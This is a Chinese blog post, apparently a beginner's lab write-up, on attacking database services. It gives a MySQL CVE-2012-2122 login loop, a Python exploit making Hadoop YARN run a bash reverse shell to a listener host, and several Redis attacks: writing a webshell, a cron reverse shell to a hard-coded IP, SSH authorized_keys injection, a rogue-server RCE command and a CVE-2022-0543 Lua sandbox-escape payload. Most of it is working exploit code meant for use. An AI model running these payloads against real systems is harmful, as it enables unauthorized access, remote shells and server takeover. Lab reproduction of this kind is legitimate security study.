当前位置:   article > 正文

数据库服务安全--Mysql未授权--Hadoop未授权配合RCE--Redis未授权&RCE_hadoop rce

hadoop rce

前言:昨天做了几个靶场,分享一下成果。

 

首先我们了解一下服务安全,服务安全测试流程第一步就是判断服务开放(1.端口扫描2.组合猜解3.信息来源),如果一个服务都没开启那么我们是无法漏洞利用的;其次是判断服务类型(1.数据库2.文件传输3.远程控制4.数据通讯等);最后判断利用方式(1.特性漏洞2.未授权访问3.弱口令爆破)。端口即服务(服务安全的前提是看服务有没有开放),信息来源是通过报错、网站的源码等来源。

本文知识点:

1.Mysql--CVE-2012-2122

2.Hadoop--配置不当未授权三重奏&RCE漏洞

3.Redis--配置不当未授权三重奏&RCE两漏洞

Mysql--未授权访问-CVE-2012-2122利用

复现环境:vulhub 内置端口3306

pyload:for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

该漏洞利用比较简单,原理就是利用for循环去猜解他的账号密码,当尝试多次以后就会直接进入数据库(逻辑错误)--报错报错突然就进去了。

Mysql的弱口令猜解有一定的限制:

mysql默认配置本地登录root用户,远程的连接请求拒绝 

但是我们可以借助phpmyadmin猜解,phpmyadmin第三方的数据库管理应用 搭建在对方的服务器;phpmyadmin登录mysql数据库,这个数据库发送是由本地到本地的过程 所以可以进行测试。

Hadoop--未授权访问-内置配合命令执行RCE(端口:50010等)

复现环境:vulfocus

EXP:

  1. import requests
  2. target = '目标 ip'
  3. lhost = '监听ip' # put your local host ip here, and listen at port 9999
  4. url = target + 'ws/v1/cluster/apps/new-application'
  5. resp = requests.post(url)
  6. app_id = resp.json()['application-id']
  7. url = target + 'ws/v1/cluster/apps'
  8. data = {
  9. 'application-id': app_id,
  10. 'application-name': 'get-shell',
  11. 'am-container-spec': {
  12. 'commands': {
  13. 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
  14. },
  15. },
  16. 'application-type': 'YARN',
  17. }
  18. requests.post(url, json=data)

思路就是:把目标主机和要nc反弹的主机写道exp中,在运行py的exp就可以实现nc反弹

Redis-未授权访问-Webshell&任务&密钥&Rce等

首先是未授权访问:1.我们搭建好Redis服务时配置文件中 bind 127.0.0.1是注释的,这就说明谁都可以连接Redis数据库;2.安全模式为no

 3.Redis开始是没有密码的需要自己设置

以上三个条件导致了Redis的未授权访问。

我们可以看到直接没有密码登录成功了

 

当我们登录成功后就可以进行更深的漏洞的利用

1.写Webshell (前提:知道Web目录的路径、可以读写权限)

利用条件:Web目录权限可读写

config set dir /tmp #设置WEB写入目录

config set dbfilename 1.php #设置写入文件名

set test "<?php phpinfo();?>" #设置写入文件代码

bgsave #保存执行

save #保存执行         #注意:不是所有的目录都有读写权限

2.写定时任务反弹shell

利用条件:

允许异地登录

安全模式protected-mode处于关闭状态

config set dir /var/spool/cron(计时目录的位置)

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"

config set dbfilename x

Save

看到了命令写入成功。

 

3、写入Linux ssh-key公钥(密匙就是取代密码登录的一种方式)

 

利用条件:

允许异地登录

Redis服务使用ROOT账号启动

安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

 

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | redis-cli -h 118.31.57.214 -x set xxx

 

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@118.31.57.214

说明:以上三个漏洞都有利用条件

4.RCE自动化利用脚本

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r 123.58.236.76 -p 11820 -L 47.94.236.117 -P 8888 -f RedisModulesSDK/exp.so -c "id"(-r为目标地址,-p是端口)

 

 

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

以上为三个数据库的漏洞以及利用,还有几个数据库报出过漏洞例如: H2&Elasticsearch&CouchDB&Influxdb等,因为比较少见这里不过多介绍了。

因为是小白,文章比较水就分享一些做过的靶场复现,希望大家一起沟通学习,祝各位师傅src早日榜上有名,潜心学安全大家共勉。

 

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/482039
推荐阅读
相关标签
  

闽ICP备14008679号